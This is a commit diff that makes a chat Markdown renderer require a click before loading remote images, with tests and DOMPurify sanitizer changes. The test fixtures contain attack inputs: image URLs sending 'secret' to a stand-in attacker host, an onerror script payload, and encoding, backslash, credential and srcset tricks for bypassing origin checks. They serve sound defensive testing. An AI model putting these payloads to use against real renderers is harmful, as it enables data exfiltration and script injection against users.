fix(review-2.7): require clicks to load remote Markdown images

2 files changed, 116 insertions, 27 deletions

diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 61d0d0c..320a5f3 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -103,6 +103,77 @@ describe("renderMarkdown", () => {
     expect(renderMarkdown("")).toBe("");
   });
 
+  describe("remote images require consent", () => {
+    const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+    it.each([
+      "![secret](https://evil.example/pixel?d=secret)",
+      "![secret](http://evil.example/pixel)",
+      "![secret](//evil.example/pixel)",
+      '<img src="https://evil.example/pixel" onerror="alert(1)">',
+      '<img src="//evil.example/pixel">',
+      '<img src="https:&#10;//evil.example/pixel">',
+      '<img src="/\\evil.example/pixel">',
+    ])("replaces %s with an inert, host-labelled button", (text) => {
+      const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+      expect(doc.querySelector("img")).toBeNull();
+      const button = doc.querySelector("button.remote-image");
+      expect(button?.textContent).toBe("Load image from evil.example");
+      expect(button?.getAttribute("type")).toBe("button");
+      expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+      expect(button?.hasAttribute("onerror")).toBe(false);
+    });
+
+    it.each([
+      "/local-image?path=%2Ftmp%2Fa.png",
+      "data:image/png;base64,iVBORw0KGgo=",
+      `${window.location.origin}/image.png`,
+      "http://localhost:24203/images/conversation/image.png",
+    ])("keeps trusted image %s", (src) => {
+      expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+    });
+
+    it("compares exact origins, not hostname prefixes or URL credentials", () => {
+      for (const src of [
+        "http://localhost:24203.evil.example/a.png",
+        "http://localhost:[email protected]/a.png",
+        "http://localhost:24206/a.png",
+        "https://localhost:24203/a.png",
+      ]) {
+        expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+      }
+    });
+
+    it("does not leak a backend allowlist between renders", () => {
+      const text = "![pic](http://localhost:24203/a.png)";
+      expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+      expect(imageSrc(renderMarkdown(text))).toBeNull();
+    });
+
+    it("removes responsive image sources so srcset cannot bypass consent", () => {
+      const html = renderMarkdown(
+        '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+      );
+      expect(html).not.toContain("srcset");
+      expect(html).not.toContain("evil.example");
+    });
+
+    it("blocks images in streaming tails and settled prefixes too", () => {
+      const state = createStreamingMarkdown();
+      const text = "![pic](https://evil.example/pixel)";
+      expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+      expect(advance(state, text).tailHtml).toContain("remote-image");
+      const settled = advance(state, `${text}\n\nafter\n`);
+      expect(settled.prefixHtml).toContain("remote-image");
+      expect(imageSrc(settled.prefixHtml)).toBeNull();
+    });
+
+    it("does not affect other DOMPurify consumers", async () => {
+      const { default: purify } = await import("dompurify");
+      expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+    });
+  });
+
   describe("local-path images", () => {
     const BASE = "http://localhost:24203";
     const image = { apiBase: BASE, cwd: "/w/foo" };
@@ -141,13 +212,7 @@ describe("renderMarkdown", () => {
       expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
     });
 
-    it("leaves remote http(s) and data: images untouched", () => {
-      expect(imageSrc(renderMarkdown("![remote](https://example.com/a.png)", { image }))).toBe(
-        "https://example.com/a.png",
-      );
-      expect(imageSrc(renderMarkdown("![remote](http://example.com/a.png)", { image }))).toBe(
-        "http://example.com/a.png",
-      );
+    it("leaves data: images untouched", () => {
       const data = "data:image/png;base64,iVBORw0KGgo=";
       expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
     });
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index 06e6a78..a65997e 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -186,24 +186,47 @@ function addCopyButtons(html: string): string {
 }
 
 /**
- * A DEDICATED DOMPurify instance (not the shared default export) so the
- * link hook below only applies to chat Markdown, never to any other sanitizer
- * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the
- * attributes, each `<a href>` gets `target="_blank"` + `rel="noopener
- * noreferrer"` (the opened page can't reach `window.opener` or see a referrer).
- * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML
- * anchors alike — and the hook overwrites any author-supplied target/rel.
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
  */
-const purify = DOMPurify();
-purify.addHook("afterSanitizeAttributes", (node) => {
-  if (node.tagName === "A" && node.hasAttribute("href")) {
-    node.setAttribute("target", "_blank");
-    node.setAttribute("rel", "noopener noreferrer");
-  }
-});
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+  const purify = DOMPurify();
+  const base = document.baseURI;
+  const origin = new URL(base).origin;
+  const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+  purify.addHook("afterSanitizeAttributes", (node) => {
+    if (node.tagName === "A" && node.hasAttribute("href")) {
+      node.setAttribute("target", "_blank");
+      node.setAttribute("rel", "noopener noreferrer");
+    }
+    if (node.tagName !== "IMG") return;
+    const src = node.getAttribute("src");
+    if (src === null) return;
+    let url: URL;
+    try {
+      url = new URL(src, base);
+    } catch {
+      node.removeAttribute("src");
+      return;
+    }
+    if (url.protocol !== "http:" && url.protocol !== "https:") return;
+    if (url.origin === origin || url.origin === backendOrigin) return;
 
-function sanitize(html: string): string {
-  return purify.sanitize(html);
+    // Only safe, inert attributes are carried over. In particular, never copy
+    // srcset or author event handlers to the image created after consent.
+    const button = node.ownerDocument.createElement("button");
+    button.setAttribute("type", "button");
+    button.setAttribute("class", "remote-image btn btn-sm");
+    button.setAttribute("data-src", url.href);
+    button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+    const title = node.getAttribute("title");
+    if (title !== null) button.setAttribute("data-title", title);
+    button.textContent = `Load image from ${url.host}`;
+    node.parentNode?.replaceChild(button, node);
+  });
+  // Responsive candidates on <img>/<picture> must not bypass the src hook.
+  return purify.sanitize(html, { FORBID_ATTR: ["srcset"] });
 }
 
 /**
@@ -250,8 +273,9 @@ function safeDecode(path: string): string {
 function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
   const trimmed = src.trim();
   if (trimmed.length === 0) return src;
-  // Remote images and inline data URLs already work — never touch them.
-  if (/^(?:data:|https?:\/\/)/i.test(trimmed)) return src;
+  // Network-path URLs (including browser-normalized backslashes) are URLs,
+  // not local filesystem paths. The sanitizer applies the consent policy.
+  if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
 
   let path: string;
 
@@ -305,7 +329,7 @@ function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
 export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
   const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
   try {
-    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
@@ -327,7 +351,7 @@ export function renderMarkdownTail(
 ): string {
   const src = closeOpenDelimiters(text, seed);
   try {
-    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }